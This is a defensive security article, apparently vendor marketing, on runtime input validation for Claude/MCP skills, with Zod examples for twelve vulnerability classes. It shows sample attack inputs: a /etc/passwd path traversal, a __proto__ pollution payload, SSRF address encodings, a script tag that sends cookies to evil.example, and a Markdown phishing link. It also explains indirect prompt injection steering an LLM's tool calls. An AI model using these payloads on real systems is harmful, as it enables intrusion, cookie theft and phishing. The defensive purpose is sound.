Claude Skill Input Validation: How TypeScript Types Fail at Runtime and What to Do Instead
Most Claude skill developers write TypeScript. TypeScript provides compile-time type safety — and that safety stops precisely at compile time. When an MCP client sends a tool call with unexpected argument types, your TypeScript types have already been erased. What the skill handler receives is unknown shaped to look like whatever TypeScript promised. Adversarial inputs exploit exactly this gap: a skill that validates arguments at the type level only is silently bypassed by any caller that ignores your schema. The SA-SKL-STR family — twelve runtime input validation vulnerabilities across schema bypass, sanitization bypass, and output encoding — exists entirely because compile-time types are not runtime contracts.
Why TypeScript type safety stops at the MCP boundary
TypeScript is a compile-time tool. It checks that your code correctly handles arguments of a declared type — but it cannot check what arrives over the wire at runtime. MCP tool calls are JSON messages: a JSON object arrives, the MCP SDK deserializes it, and your handler receives it as the type you declared. There is no runtime check that the deserialized object actually conforms to your declared type.
This means that a Claude skill handler declared as:
// TypeScript declaration — zero runtime enforcement
interface ReadFileArgs {
path: string;
encoding?: 'utf8' | 'latin1' | 'base64';
}
async function handleReadFile(args: ReadFileArgs): Promise<string> {
const encoding = args.encoding ?? 'utf8';
return fs.readFile(args.path, { encoding });
}
will happily accept { path: "../../../etc/passwd", encoding: "utf8" } from any MCP client because the type annotation on ReadFileArgs is erased at the JavaScript level. The handler sees a plain JavaScript object. The args.path access is a property read on an unvalidated unknown. TypeScript has already confirmed that IF the argument is a ReadFileArgs, the code handles it correctly. It has said nothing about what happens when the argument is adversarial.
The MCP call path makes this worse: an LLM is constructing the arguments. The LLM reads external content — a PDF, an email, a web page — and uses that content to decide how to call your tool. Any attacker-controlled string in that external content can become a tool argument. This is the indirect prompt injection delivery chain: attacker embeds instructions in a document, LLM processes the document and crafts a tool call, the tool call arguments contain attacker content, and the skill handler receives it with no runtime validation.
Type declarations are documentation, not validation: a TypeScript interface on a tool handler argument is a contract between the developer and the TypeScript compiler. It is not a contract with the MCP runtime. An MCP client — including an LLM following injected instructions — can send any JSON object to your tool handler. The only thing preventing an attacker argument from reaching your handler logic is runtime validation code that you explicitly write.
The SA-SKL-STR family: three categories of runtime input failure
The SA-SKL-STR family covers twelve specific runtime input handling vulnerabilities across three categories. Each category represents a different failure mode in the same underlying problem: the skill trusts argument content without verifying it at runtime.
The SA-SKL-STR schema validation bypass findings cover skills that process structured inputs without runtime schema enforcement. The four patterns are:
- STR-001 (CRITICAL): TypeScript-only validation — handler processes arbitrary input with no Zod/AJV check at all. Any JSON object reaches handler logic.
- STR-002 (HIGH): JSON schema with
additionalProperties: trueor lodash_.mergewithout property allowlisting enables prototype pollution — attacker sends{"__proto__": {"isAdmin": true}}in one session to elevate all subsequent sessions. - STR-003 (HIGH): Union discriminant without exhaustive runtime check —
switch(args.type)on unvalidated input falls through to privileged code paths whentypeis an unexpected value. - STR-004 (MEDIUM): Permissive union
anyOf[string, number]without strict per-branch transform — coercion andparseInttruncation create SQL injection opportunities via type confusion.
The root cause is the same across all four: the handler assumes the argument structure matches the TypeScript declaration. In STR-002, a prototype pollution payload is accepted because there is no check rejecting objects with __proto__ or constructor keys. In STR-003, the default branch of a switch is either absent or reaches code that should only execute for trusted argument shapes.
The SA-SKL-STR input sanitization bypass findings cover skills that receive string inputs and pass them to sinks without escaping or parameterization. These are the most directly exploitable vulnerabilities in the family:
- STR-005 (CRITICAL): Template literal HTML/XML injection —
`<div>${args.content}</div>`renders attacker-controlled script tags in Claude's UI. - STR-006 (CRITICAL): SQL query construction with template literals or ORM
.raw()— classic SQL injection via any string argument that reaches a query. - STR-007 (HIGH): LDAP filter injection —
(uid=${args.username})without escaping;*metacharacter enumerates full directory. - STR-008 (HIGH): SSRF via URL allowlist bypass — string-matching blocklists are bypassed by decimal IP notation (
2130706433for127.0.0.1), IPv6 ([::1]), hex notation (0x7f000001), and DNS rebinding.
What makes STR-005 and STR-006 critical in the MCP context is the delivery mechanism: the LLM constructs the argument from external content it reads. A file the LLM processes might contain <script>fetch('https://evil.example/'+document.cookie)</script> — which becomes the value of args.content when the LLM passes it to your tool. The MCP skill never receives a human-typed input; it receives whatever the LLM decided to pass based on what it read. Attacker control of any document in the LLM's context is attacker control of any string argument in your tool handler.
The SA-SKL-STR output encoding findings address a subtler category: vulnerabilities in what the skill returns, not what it receives. Claude skills return text that the LLM incorporates into its response. If that text contains Markdown, LaTeX, or citation syntax, the Claude UI may render it. Attacker-controlled content in tool results can inject clickable phishing links, fake citations, or diagram code containing JavaScript callbacks.
- STR-009 (HIGH): Markdown link injection —
[click here](https://attacker.example)in tool result renders as a clickable link in Claude UI. - STR-010 (MEDIUM): LaTeX injection —
\href{}macro creates phishing links in KaTeX-rendered math output. - STR-011 (MEDIUM): Mermaid diagram injection —
click nodeId hrefdirective in user-controlled diagram source creates attacker links. - STR-012 (HIGH): Citation injection — fake citation markers in returned document text cause the LLM to reproduce false source attribution, a trust attack in medical, legal, and security contexts.
The prompt injection connection: attacker-controlled documents as delivery vehicle
The STR family does not live in isolation. It connects directly to indirect prompt injection: the mechanism by which attackers embed payloads in external content that reaches your skill through the LLM. Understanding this delivery chain changes how you think about validation.
A traditional web API receives inputs from authenticated users who typed them or from services you control. An MCP skill receives inputs from an LLM that processed external content that might have been crafted by anyone. The document your skill reads — the email being summarized, the web page being fetched, the code file being reviewed — is attacker-controlled territory. Any string in that document can become any string argument in your tool handler if the LLM decides to pass it.
This means that STR-006 (SQL injection) is not just a risk from a malicious user typing SQL into a field. It is a risk from a document that happens to contain SQL syntax, which the LLM passes verbatim to a summarization tool, which concatenates it into a query. The LLM is not a sanitizing proxy. It passes strings. Validation must happen in the skill handler, not by trusting the LLM to filter attacker content before it reaches your code.
The LLM is not a sanitizing proxy: never rely on the LLM to filter or escape argument values before passing them to your tool handler. The LLM’s job is to invoke tools with values derived from what it reads. Attacker-controlled document content reaches tool arguments without modification. Your handler is the trust boundary — validate at the handler, not at the LLM.
Practical Zod validation patterns for MCP tool arguments
Zod is the most widely used runtime validation library for TypeScript MCP skills. It solves the compile-time/runtime gap: a Zod schema is both a TypeScript type definition and a runtime validator. When you parse arguments through a Zod schema, you get a guaranteed-shaped object or a thrown error — never an unvalidated unknown flowing into your handler logic.
import { z } from 'zod';
// WRONG: TypeScript type only — zero runtime enforcement
interface ReadFileArgs { path: string; maxBytes?: number; }
// RIGHT: Zod schema — TypeScript type AND runtime validator
const ReadFileSchema = z.object({
// string() rejects undefined, null, number, object — anything not a string
path: z.string()
.min(1, 'path cannot be empty')
.max(4096, 'path too long')
// custom refinement: reject obvious traversal sequences at parse time
.refine(p => !p.includes('..'), 'path traversal not allowed')
.refine(p => !p.startsWith('/etc') && !p.startsWith('/proc'), 'system paths not allowed'),
maxBytes: z.number().int().min(1).max(10_485_760).optional(), // max 10 MB
});
// Infer TypeScript type from the Zod schema — single source of truth
type ReadFileArgs = z.infer<typeof ReadFileSchema>;
// In the tool handler:
async function handleReadFile(rawArgs: unknown): Promise<string> {
// parse() throws ZodError with a detailed message on any validation failure
// The thrown error propagates to the MCP runtime as a tool error — not a crash
const args = ReadFileSchema.parse(rawArgs);
// args is now typed AND validated — TypeScript and runtime agree
const content = await fs.readFile(args.path, 'utf8');
return content;
}
// For SQL queries: parameterized queries, not string interpolation
// Even with validated args, always use parameterization as a second layer
async function queryUser(userId: string): Promise<User> {
// WRONG: `SELECT * FROM users WHERE id = '${userId}'`
// RIGHT: parameterized query — driver escapes the value
return db.get('SELECT * FROM users WHERE id = ?', [userId]);
}
// For URL validation: parse with URL constructor, then check against allowlist
function validateExternalUrl(rawUrl: string): URL {
let url: URL;
try {
url = new URL(rawUrl); // throws on malformed URLs
} catch {
throw new Error('Invalid URL');
}
// Protocol allowlist: only https (rejects file:, javascript:, data:)
if (url.protocol !== 'https:') throw new Error('Only HTTPS URLs allowed');
// Hostname resolution: Node.js resolves hostnames; block reserved ranges in code
// Use an external DNS-rebinding protection library for production
const blockedPatterns = [/^localhost$/i, /^127\./, /^10\./, /^192\.168\./, /^::1$/];
if (blockedPatterns.some(p => p.test(url.hostname))) {
throw new Error('Private/loopback URLs not allowed');
}
return url;
}
Handling prototype pollution: object validation with Zod vs lodash merge
STR-002 (prototype pollution via additionalProperties and _.merge) deserves specific attention because its impact is session-spanning: a prototype pollution attack in one tool call can grant elevated privileges in every subsequent call in the MCP session. Zod’s z.object() by default strips unknown keys (in .strip() mode) and can be set to reject them entirely with .strict().
// VULNERABLE: Object.assign or _.merge with unvalidated input
import _ from 'lodash';
function mergeConfig_VULNERABLE(userConfig: object) {
// If userConfig contains { "__proto__": { "isAdmin": true } },
// _.merge follows the __proto__ chain and pollutes Object.prototype
return _.merge({}, defaultConfig, userConfig);
}
// SAFE OPTION 1: Zod strict — rejects unknown keys, never passes __proto__
const SafeConfigSchema = z.object({
theme: z.enum(['light', 'dark']),
language: z.string().max(10),
}).strict(); // .strict() throws on any extra key, including __proto__
function mergeConfig_SAFE_ZOD(rawConfig: unknown) {
const config = SafeConfigSchema.parse(rawConfig); // throws on __proto__ key
return { ...defaultConfig, ...config };
}
// SAFE OPTION 2: JSON.parse + JSON.stringify round-trip sanitizes prototype chain
// (prototype references are not JSON-serializable)
function mergeConfig_SAFE_ROUNDTRIP(rawConfig: unknown) {
// Strip prototype chain by round-tripping through JSON
const sanitized = JSON.parse(JSON.stringify(rawConfig));
return Object.assign(Object.create(null), defaultConfig, sanitized);
}
// SAFE OPTION 3: Object.assign with Object.create(null) base — no prototype chain to pollute
function mergeConfig_SAFE_NULL_PROTO(rawConfig: Record<string, unknown>) {
const safeBase = Object.create(null);
// Only copy explicitly allowed keys
const allowedKeys = ['theme', 'language'] as const;
for (const key of allowedKeys) {
if (key in rawConfig) safeBase[key] = rawConfig[key];
}
return safeBase;
}
Output encoding: escaping tool results before they reach Claude’s renderer
Output encoding vulnerabilities (STR-009 through STR-012) require a different approach because the problem is in what you return, not what you receive. Tool results are incorporated into Claude’s response and may be rendered as Markdown. User-controlled content in tool results should be stripped of Markdown syntax before being returned, or wrapped in code blocks that prevent link rendering.
// Markdown link injection defense: strip or escape bracket-paren link syntax
function escapeMarkdown(userContent: string): string {
return userContent
.replace(/\[([^\]]+)\]\(([^)]+)\)/g, '$1') // [text](url) → text (remove link)
.replace(/\[([^\]]+)\]/g, '\\[$1\\]') // [text] → \[text\] (escape brackets)
.replace(/<(https?:\/\/[^>]+)>/g, '$1'); // <url> → url (remove auto-link angle brackets)
}
// For returning user-controlled content in tool results:
// Wrap in a code block — Markdown is not rendered inside code blocks
function wrapAsCodeBlock(userContent: string, language = ''): string {
// Escape any backtick sequences that would prematurely close the code block
const escaped = userContent.replace(/```/g, '\\`\\`\\`');
return `\`\`\`${language}\n${escaped}\n\`\`\``;
}
// For document summarization: return only extracted structured data, not raw content
// WRONG: return the raw document text (may contain injected Markdown)
// RIGHT: return a summary object that your handler constructs
async function summarizeDocument_SAFE(documentUrl: string) {
const content = await fetchDocument(documentUrl);
// Never return raw content — build a structured summary the skill constructs
return {
title: extractTitle(content).slice(0, 200),
wordCount: countWords(content),
keyPoints: extractKeyPoints(content).map(p => p.replace(/[[\]()]/g, '')), // strip Markdown syntax
// If raw content is needed, wrap it — never return it bare
rawContent: wrapAsCodeBlock(content, 'text')
};
}
Defense-in-depth: the five-layer stack
No single layer closes all twelve STR findings. Runtime validation with Zod stops schema bypass (STR-001 through STR-004) and catches malformed inputs before they reach sinks. Parameterized queries stop SQL injection (STR-006) even if a malformed string somehow passes initial validation. Context escaping stops output injection (STR-009 through STR-012). Together, the stack is:
| Layer | What it stops | Tool |
|---|---|---|
| 1. Schema validation at handler entry | STR-001 to STR-004: wrong types, extra keys, prototype pollution, discriminant bypass | Zod .parse() or AJV |
| 2. Parameterized queries | STR-006: SQL injection regardless of what passes layer 1 | DB driver placeholders (?), ORMs with bind params |
| 3. URL structural validation + hostname check | STR-008: SSRF via decimal, hex, IPv6, DNS rebinding | new URL() + allowlist |
| 4. Output escaping before return | STR-009 to STR-012: Markdown/LaTeX/Mermaid/citation injection in tool results | Custom escape + code-block wrapping |
| 5. LLM system prompt framing | Reduces prompt injection effectiveness by establishing a strong operating context | Explicit system prompt with tool usage constraints |
Use safeParse() for graceful error handling: Zod’s .parse() throws a ZodError on validation failure, which propagates as an MCP tool error. For user-facing tools where you want to return a structured error message rather than throw, use .safeParse(): it returns { success: true, data: ... } or { success: false, error: ZodError } without throwing. This is particularly useful for tools that should tell the LLM what was wrong with its arguments so it can retry with corrected values.
What SkillAudit detects in the SA-SKL-STR family
SkillAudit’s static analyzer detects STR vulnerabilities through AST-level pattern matching on skill source code. For each STR finding category:
- STR-001 detection: handler function accepts a typed parameter but the function body performs no Zod parse, AJV validate, or equivalent runtime check before accessing properties used in sinks (file I/O, network calls, DB queries, shell commands).
- STR-002 detection:
_.merge(),Object.assign(), or spread with a value that originates from tool arguments without a prior Zod strict parse or property allowlist. - STR-005/STR-006 detection: template literal or string concatenation used to build HTML, SQL query strings, LDAP filters, or shell commands where one operand traces back to tool arguments.
- STR-008 detection:
fetch(),axios.get(), orhttp.request()with a URL whose value traces back to tool arguments without anew URL()structural parse + hostname check. - STR-009 to STR-012 detection: tool result string that incorporates tool argument content without Markdown link escaping or code-block wrapping.
Related attack families that interact with STR: the full SA-SKL attack surface reference covers how STR findings escalate when combined with SA-SKL-SBX (sandbox escape) and SA-SKL-CLI (subprocess injection). A skill that passes an unvalidated argument to child_process.exec() is simultaneously a STR-006 analog (injection) and a SBX/CLI finding (host OS execution). The intersection of injection and execution is where CRITICAL findings live.
Check your Claude skill for SA-SKL-STR input validation vulnerabilities
SkillAudit detects TypeScript-only validation, prototype pollution, SQL injection, SSRF, and Markdown output injection across the full STR family in 60 seconds.
Get your free audit